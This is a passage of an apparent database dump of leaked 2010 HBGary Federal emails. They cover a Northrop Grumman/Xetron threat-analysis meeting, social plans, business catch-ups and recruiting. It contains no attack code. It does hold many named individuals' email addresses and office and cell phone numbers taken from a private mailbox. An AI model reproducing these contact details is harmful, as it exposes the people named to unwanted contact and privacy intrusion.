Planning\r\n\r\nComments?\r\n\r\nBrian\r\nMasterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n-----Original\r\nAppointment-----\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Sunday, February 14, 2010 8:14 AM\r\nTo: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron); Gibbs,\r\nKevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron);\r\nWerbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.;\r\nDunkelberger, Kirk A.; &#39;Aaron Barr&#39;; Carrier, Jeremy M. (Xetron)\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT\r\nSolutions)\r\nSubject: Cyber Threat Analysis Center\r\nWhen: Thursday, February 18, 2010 12:00 PM-5:00 PM (GMT-05:00) Eastern\r\nTime (US &amp; Canada).\r\nWhere: Conf-OH9 Lobby 1 (Large)\r\n\r\nAll,\r\n\r\nThis is the kick-off\r\nmeeting to map out the initial plan for the Cyber Threat Analysis Center \r\nIRAD.  Our near term objective is a demo in March at 10Flt.\r\n\r\nWe will have had\r\nPalantir(Wyatt/Chris) training this week, Palantir/HBGary(Aaron/Kevin) and\r\nshould have some EndGame data.  We need to throw all this up on the board\r\nand see what we can put together near-term and going out.\r\n\r\nPlease bring all materials\r\nthat you accumulated this week from your trips.  We should have Palantir\r\nand HBGary tools accessible.  There should be an IG demo.  I’ll get\r\nfood.\r\n\r\nThis is going to be\r\nexciting!\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5342,'aaron_hbgary_com/5342.html'),(2793,'2010-02-17','\"Mark Flemister\" <markf@fdaexpo.com>','/aaron@hbgary.com/new/1297001283.M565150P3547Q2793.eml','\"Mark Flemister\" <markf@fdaexpo.com>','Military Opportunities','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThe following military installations will be hosting\r\ntechnology expositions over the next few months:\r\n\r\n&nbsp;\r\n\r\nMcGuire Joint Base &#8211; March 10 &#8211; Wrightstown, NJ\r\n\r\nHill AFB &#8211; March 30 &#8211; Salt Lake City, UT\r\n\r\nNatick Labs SSC &#8211; April 7 - &nbsp;Natick, MA\r\n\r\nDover AFB &#8211; April 13, Dover, DE\r\n\r\nOffutt AFB &#8211; April 22, Omaha, NE\r\n\r\nAberdeen Proving Ground &#8211; April 28, Aberdeen, MD\r\n\r\n&nbsp;\r\n\r\nFor over 15 years Federal Direct Access has been bringing\r\ntechnology expositions to military and civilian personnel nationwide.&nbsp; If\r\nyou would like details on how your company can easily participate in the\r\nprograms listed above please contact us.\r\n\r\nThank you,\r\n\r\n&nbsp;\r\n\r\nMark Flemister\r\n\r\nFederal Direct Access Expositions\r\n\r\n301-854-3210\r\n\r\nwww.fdaexpo.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15252,'aaron_hbgary_com/15252.html'),(2794,'2010-02-17','\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','/aaron@hbgary.com/new/1297001283.M787086P3547Q2794.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Catch Up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYou are on. See you then.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 17, 2010 1:32 PM\r\nTo: Frisbie, Robert P\r\nSubject: Re: Catch Up\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHow about 3pm next Wednesday at your office?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 17, 2010, at 6:54 AM, Frisbie, Robert P wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNext Monday morning or most of wen next week would work.&nbsp;\r\nLook forward to talking.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRobert Frisbie\r\n\r\n\r\n\r\n\r\n\r\nSenior Vice President\r\n\r\n\r\n\r\n\r\n\r\nManTech International\r\n\r\n\r\n\r\n\r\n\r\n7799 Leesburg Pike\r\n\r\n\r\n\r\n\r\n\r\nSuite 700 South\r\n\r\n\r\n\r\n\r\n\r\nFalls Church, VA 22043\r\n\r\n\r\n\r\n\r\n\r\n703 847-5193\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;rf4864@aol.com&nbsp;[mailto:rf4864@aol.com]&nbsp;\r\nSent:&nbsp;Tuesday, February\r\n16, 2010 9:35 PM\r\nTo:&nbsp;Frisbie, Robert P\r\nSubject:&nbsp;Fwd: Catch Up\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Robert Frisbie &lt;rf4864@aol.com&gt;\r\nSent: Tue, Feb 16, 2010 10:30 am\r\nSubject: Catch Up\r\n\r\n\r\n \r\n  \r\n  LinkedIn\r\n  \r\n  \r\n  Aaron\r\n  Barr&nbsp;has sent you a\r\n  message.\r\n  \r\n  \r\n  \r\n  \r\n  Date:&nbsp;2/16/2010\r\n  \r\n  \r\n  \r\n  \r\n  Subject:&nbsp;Catch Up\r\n  \r\n  \r\n  \r\n  \r\n  Hi\r\n  Bob,\r\n  \r\n  If you have some time next week I would like to stop by and catch up.\r\n  \r\n  Aaron\r\n  \r\n  \r\n  \r\n  View/reply to this message\r\n  \r\n  \r\n  \r\n  Don\'t want to receive e-mail notifications?&nbsp;Adjust your message settings.\r\n  \r\n  \r\n  \r\n  \r\n  &copy; 2010, LinkedIn Corporation\r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3488,'aaron_hbgary_com/3488.html'),(2795,'2010-02-17','\"Racz, James M\" <james.m.racz@lmco.com>','/aaron@hbgary.com/new/1297001283.M990014P3547Q2795.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Uno - HBGary capabilities brief','WE\'re looking.......Had 1 question  however...Who paid for your extensive\r\nanalysis? Look like a lot of effort.\r\n\r\nJim Racz\r\nUNO Program\r\n703 466-3314\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 17, 2010 1:31 AM\r\nTo: Racz, James M\r\nCc: Ted Vera\r\nSubject: Uno - HBGary capabilities brief\r\n\r\nHi Jim,\r\n\r\nPlease let me know when you are available to schedule an HBGary capabilities\r\nbriefing.  If you have some time next week that would be great.\r\n\r\nThank you,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5646,'aaron_hbgary_com/5646.html'),(2796,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001284.M221155P3547Q2796.eml','\"Racz, James M\" <james.m.racz@lmco.com>','Re: Uno - HBGary capabilities brief','All internal.  It took a couple of weeks and a few of our engineers.\r\nBut these guys know malware very well.  More to talk about there.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 17, 2010, at 6:37 PM, \"Racz, James M\" \r\nwrote:\r\n\r\n> WE\'re looking.......Had 1 question  however...Who paid for your\r\n> extensive\r\n> analysis? Look like a lot of effort.\r\n>\r\n> Jim Racz\r\n> UNO Program\r\n> 703 466-3314\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, February 17, 2010 1:31 AM\r\n> To: Racz, James M\r\n> Cc: Ted Vera\r\n> Subject: Uno - HBGary capabilities brief\r\n>\r\n> Hi Jim,\r\n>\r\n> Please let me know when you are available to schedule an HBGary\r\n> capabilities\r\n> briefing.  If you have some time next week that would be great.\r\n>\r\n> Thank you,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',4338,'aaron_hbgary_com/4338.html'),(2797,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001284.M429363P3547Q2797.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Fwd: Uno - HBGary capabilities brief','Nice compliment from one of the big integrators.  Do you have Amy palantir scenarios from yesterday that I can look at?I need to talk to you tomorrow if you have some time about rootkit.com am 64 bit malware.  I didn&#39;t want to do it in the airport.\r\nAaronFrom my iPhoneBegin forwarded message:From: &quot;Racz, James M&quot; &lt;james.m.racz@lmco.com&gt;\r\nDate: February 17, 2010 6:37:13 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Ted Vera &lt;ted@hbgary.com&gt;Subject: RE: Uno - HBGary capabilities brief\r\nWE&#39;re looking.......Had 1 question  however...Who paid for your extensiveanalysis? Look like a lot of effort.\r\nJim RaczUNO Program703 466-3314-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 17, 2010 1:31 AMTo: Racz, James MCc: Ted VeraSubject: Uno - HBGary capabilities briefHi Jim,\r\nPlease let me know when you are available to schedule an HBGary capabilitiesbriefing.  If you have some time next week that would be great.Thank you,Aaron Barr\r\nCEOHBGary Federal Inc.\r\n',1662,'aaron_hbgary_com/1662.html'),(2798,'2010-02-17','\"Akey, Mark L.\" <mark.akey@ngc.com>','/aaron@hbgary.com/new/1297001284.M660823P3547Q2798.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>,\"Henderson, Michael L. (Xetron)\" <Michael.Henderson@ngc.com>,\"Gibbs, Kevin (Xetron)\" <Kevin.Gibbs@ngc.com>,\"Neal, Wyatt R. (Xetron)\" <Wyatt.Neal@ngc.com>,\"Churchey, Christopher R. (Xetron)\" <Christopher.Churchey@ngc.com>,\"Werbin, Geoffrey (Xetron)\" <Geoffrey.Werbin@ngc.com>,\"Elchison, Jonathan (Xetron)\" <Jonathan.Elchison@ngc.com>,\"Dunkelberger, Kirk A.\" <kirk.dunkelberger@ngc.com>,aaron@hbgary.com,\"Carrier, Jeremy M. (Xetron)\" <Jeremy.Carrier@ngc.com>,\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>,\"Henderson, Michael L. (Xetron)\" <Michael.Henderson@ngc.com>,\"Gibbs, Kevin (Xetron)\" <Kevin.Gibbs@ngc.com>','Re: Cyber Threat Analysis Center','\r\n\r\n\r\n\r\n\r\nRE: Cyber Threat Analysis Center\r\n\r\n\r\nYeah, but what I want to know is who pays for the alcohol?  ;-)--------------------------Dr. Mark AkeyNorthrop GrummanMgr, S&amp;T Solutions  DARPA, AFRL, ONR, IARPAOffice: 260.435.4678Cell: 260.437.9875mark.akey@ngc.com\r\n\r\n\r\nFrom: Masterson, Brian (Xetron)To: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron); Werbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.; Dunkelberger, Kirk A.; \'Aaron Barr\' &lt;aaron@hbgary.com&gt;; Carrier, Jeremy M. (Xetron)Cc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT Solutions)Sent: Wed Feb 17 15:34:20 2010Subject: RE: Cyber Threat Analysis Center\r\n\r\n\r\n\r\nAnd another thing&#8230;\r\n\r\nLet&#8217;s plan on grabbing dinner tomorrow night.&nbsp; I &#8220;think&#8221;&nbsp; can buy????\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Wednesday, February 17, 2010 4:32 PM\r\nTo: Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron); Werbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.; Dunkelberger, Kirk A.; \'Aaron Barr\'; Carrier, Jeremy M. (Xetron)\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT Solutions)\r\nSubject: RE: Cyber Threat Analysis Center\r\n\r\n\r\n\r\nAgenda for CTAC Meeting 12-5 2/17\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lunch\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IG Demo\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HBGary Tool Overview\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Palantir Overview\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EndGame data review\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IRAD Development Plan\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Go To Market Plan\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BAAs\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Customer visits/demos\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Presentation Prep\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DARPA Cyber Genome Planning\r\n\r\nComments?\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n-----Original Appointment-----\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Sunday, February 14, 2010 8:14 AM\r\nTo: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron); Werbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.; Dunkelberger, Kirk A.; \'Aaron Barr\'; Carrier, Jeremy M. (Xetron)\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT Solutions)\r\nSubject: Cyber Threat Analysis Center\r\nWhen: Thursday, February 18, 2010 12:00 PM-5:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: Conf-OH9 Lobby 1 (Large)\r\n\r\n\r\n\r\nAll,\r\n\r\nThis is the kick-off meeting to map out the initial plan for the Cyber Threat Analysis Center&nbsp; IRAD.&nbsp; Our near term objective is a demo in March at 10Flt.\r\n\r\nWe will have had Palantir(Wyatt/Chris) training this week, Palantir/HBGary(Aaron/Kevin) and should have some EndGame data.&nbsp; We need to throw all this up on the board and see what we can put together near-term and going out.\r\n\r\nPlease bring all materials that you accumulated this week from your trips.&nbsp; We should have Palantir and HBGary tools accessible.&nbsp; There should be an IG demo.&nbsp; I&#8217;ll get food.\r\n\r\nThis is going to be exciting!\r\n\r\nBrian\r\n\r\n\r\n',4398,'aaron_hbgary_com/4398.html'),(2799,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001284.M878439P3547Q2799.eml','\"Akey, Mark L.\" <mark.akey@ngc.com>,\"Akey, Mark L.\" <mark.akey@ngc.com>,,,,,,,,,,,','Re: Cyber Threat Analysis Center','Brian.  Beer is food.From my iPhoneOn Feb 17, 2010, at 6:43 PM, &quot;Akey, Mark L.&quot; &lt;mark.akey@ngc.com&gt; wrote:\r\n\r\n\r\nYeah, but what I want to know is who pays for the alcohol?  ;-)\r\n--------------------------\r\nDr. Mark Akey\r\nNorthrop Grumman\r\nMgr, S&amp;T Solutions\r\n  DARPA, AFRL, ONR, IARPA\r\nOffice: 260.435.4678\r\nCell: 260.437.9875\r\nmark.akey@ngc.com\r\n\r\n\r\nFrom: Masterson, Brian (Xetron)\r\nTo: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron); Werbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.; Dunkelberger, Kirk A.; &#39;Aaron Barr&#39; &lt;aaron@hbgary.com&gt;; Carrier, Jeremy M. (Xetron)\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT Solutions)\r\nSent: Wed Feb 17 15:34:20 2010Subject: RE: Cyber Threat Analysis Center\r\n\r\n\r\n\r\n\r\nAnd another thing…\r\n\r\n\r\nLet’s plan on grabbing dinner tomorrow night.  I “think”  can buy????\r\n\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, IO Programs\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian (Xetron)\r\n\r\nSent: Wednesday, February 17, 2010 4:32 PM\r\n\r\nTo: Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron); Werbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.; Dunkelberger, Kirk A.; &#39;Aaron Barr&#39;; Carrier, Jeremy M. (Xetron)\r\n\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT Solutions)\r\n\r\nSubject: RE: Cyber Threat Analysis Center\r\n\r\n\r\n\r\n\r\nAgenda for CTAC Meeting 12-5 2/17\r\n\r\n        Lunch\r\n\r\n        IG Demo\r\n\r\n        HBGary Tool Overview\r\n\r\n        Palantir Overview\r\n\r\n        EndGame data review\r\n\r\n        IRAD Development Plan\r\n\r\n        Go To Market Plan\r\n\r\n                BAAs\r\n\r\n                Customer visits/demos\r\n\r\n        Presentation Prep\r\n\r\n        DARPA Cyber Genome Planning\r\n\r\nComments?\r\n\r\n\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, IO Programs\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n-----Original Appointment-----\r\nFrom: Masterson, Brian (Xetron)\r\n\r\nSent: Sunday, February 14, 2010 8:14 AM\r\n\r\nTo: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron); Werbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.; Dunkelberger, Kirk A.; &#39;Aaron Barr&#39;; Carrier, Jeremy M. (Xetron)\r\n\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT Solutions)\r\n\r\nSubject: Cyber Threat Analysis Center\r\n\r\nWhen: Thursday, February 18, 2010 12:00 PM-5:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Conf-OH9 Lobby 1 (Large)\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\nThis is the kick-off meeting to map out the initial plan for the Cyber Threat Analysis Center  IRAD.  Our near term objective is a demo in March at 10Flt.\r\n\r\n\r\nWe will have had Palantir(Wyatt/Chris) training this week, Palantir/HBGary(Aaron/Kevin) and should have some EndGame data.  We need to throw all this up on the board and see what we can put together near-term and going out.\r\n\r\n\r\nPlease bring all materials that you accumulated this week from your trips.  We should have Palantir and HBGary tools accessible.  There should be an IG demo.  I’ll get food.\r\n\r\n\r\nThis is going to be exciting!\r\n\r\nBrian\r\n\r\n\r\n\r\n',11570,'aaron_hbgary_com/11570.html'),(2800,'2010-02-18','\"Chris Hummel\" <chris_hummel@hotmail.com>','/aaron@hbgary.com/new/1297001285.M319211P3547Q2801.eml','aaron@hbgary.com','RE: Introductions','\r\n\r\n\r\n\r\n\r\nSounds good - I\'ll block off some time in the afternoon as the morning has already filled up.\r\n&nbsp;\r\nThanks,\r\nChris\r\n\r\nFrom: aaron@hbgary.comSubject: Re: IntroductionsDate: Wed, 17 Feb 2010 13:34:46 -0500To: chris_hummel@hotmail.comok lets shoot for Friday next week.\r\nAaron\r\n\r\n\r\nOn Feb 17, 2010, at 6:59 AM, Chris Hummel wrote:\r\n\r\nHi Aaron,&nbsp;I don\'t work directly for Mark or Chris, but I do engage with various people in their organization.&nbsp; I\'ll have some time either Monday morning to chat before flying out to the west coast, or Wednesday and thereafter once I return.&nbsp; I look forward to talking to you as well.&nbsp;Thanks,Chris&nbsp;&gt; From:&nbsp;aaron@hbgary.com&gt; Subject: Introductions&gt; Date: Wed, 17 Feb 2010 00:41:31 -0500&gt; To:&nbsp;chris_hummel@hotmail.com&gt;&nbsp;&gt; Hi Chris,&gt;&nbsp;&gt; I was given your resume from our product side. Your name rings a bell and I am sure we have met before. Do you work for Mark Leary or Chris Barnett?&gt;&nbsp;&gt; I am interested to talk to you about your resume and positions we are going to be opening up in the next month. I am out of town for the next few days. Let me know what your schedule is like next week.&gt;&nbsp;&gt; Look forward to talking with you.&gt;&nbsp;&gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.&gt;&nbsp;&gt;&nbsp;&gt;&nbsp;\r\n\r\nHotmail: Free, trusted and rich email service.&nbsp;Get it now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n 		 	   		  Hotmail: Trusted email with powerful SPAM protection. Sign up now.\r\n',7071,'aaron_hbgary_com/7071.html'),(2801,'2010-02-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001285.M534077P3547Q2802.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Cyber Threat Analysis Center','Almost there.From my iPhoneOn Feb 17, 2010, at 5:25 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\nCall my cell when you land.\r\n\r\n\r\nFrom: Masterson, Brian (Xetron)\r\nTo: &#39;aaron@hbgary.com&#39; &lt;aaron@hbgary.com&gt;\r\nSent: Wed Feb 17 16:04:22 2010Subject: Re: Cyber Threat Analysis Center\r\n\r\n\r\nYup\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Wed Feb 17 15:58:29 2010Subject: Re: Cyber Threat Analysis Center\r\n\r\nYeah near there.  Want to meet for beer?  Land at 6:15From my iPhoneOn Feb 17, 2010, at 4:39 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nSorry.  Had just sent the email about dinner tomorrow night and you’re\r\nreply came 2 seconds later.  Where are you staying?  If near here, Bargos is\r\njust about across the street has cheap beer.\r\n\r\n \r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 17, 2010 4:38 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Cyber Threat Analysis Center\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nLol I thought u wanted to grab a beer tonight.  Either\r\nway.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 17, 2010, at 4:36 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot\r\nsure what you mean.  You’ll be here tomorrow.  For dinner, figured we\r\nwould decide that tomorrow afternoon.  Since I am buying, better be REAL\r\ncheap.  J\r\n\r\n \r\n\r\n\r\n\r\nBrian\r\nMasterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\n\r\nSent: Wednesday, February 17, 2010 4:34 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Cyber Threat Analysis Center\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nWhen\r\nand where to meet?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 17, 2010, at 4:32 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAgenda for\r\nCTAC Meeting 12-5 2/17\r\n\r\n        Lunch\r\n\r\n        IG Demo\r\n\r\n        HBGary Tool Overview\r\n\r\n        Palantir Overview\r\n\r\n        EndGame data review\r\n\r\n        IRAD Development Plan\r\n\r\n        Go To Market Plan\r\n\r\n       \r\n        BAAs\r\n\r\n       \r\n        Customer visits/demos\r\n\r\n        Presentation Prep\r\n\r\n        DARPA Cyber Genome Planning\r\n\r\nComments?\r\n\r\nBrian\r\nMasterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n-----Original\r\nAppointment-----\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Sunday, February 14, 2010 8:14 AM\r\nTo: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron); Gibbs,\r\nKevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron);\r\nWerbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.;\r\nDunkelberger, Kirk A.; &#39;Aaron Barr&#39;; Carrier, Jeremy M. (Xetron)\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT\r\nSolutions)\r\nSubject: Cyber Threat Analysis Center\r\nWhen: Thursday, February 18, 2010 12:00 PM-5:00 PM (GMT-05:00) Eastern\r\nTime (US &amp; Canada).\r\nWhere: Conf-OH9 Lobby 1 (Large)\r\n\r\nAll,\r\n\r\nThis is the kick-off\r\nmeeting to map out the initial plan for the Cyber Threat Analysis Center \r\nIRAD.  Our near term objective is a demo in March at 10Flt.\r\n\r\nWe will have had\r\nPalantir(Wyatt/Chris) training this week, Palantir/HBGary(Aaron/Kevin) and\r\nshould have some EndGame data.  We need to throw all this up on the board\r\nand see what we can put together near-term and going out.\r\n\r\nPlease bring all materials\r\nthat you accumulated this week from your trips.  We should have Palantir\r\nand HBGary tools accessible.  There should be an IG demo.  I’ll get\r\nfood.\r\n\r\nThis is going to be\r\nexciting!\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11074,'aaron_hbgary_com/11074.html'),(2802,'2010-02-18','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001285.M751933P3547Q2803.eml','aaron@hbgary.com','Re: Cyber Threat Analysis Center','\r\nOk.  Already started.  What do you want?\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Masterson, Brian (Xetron)Sent: Wed 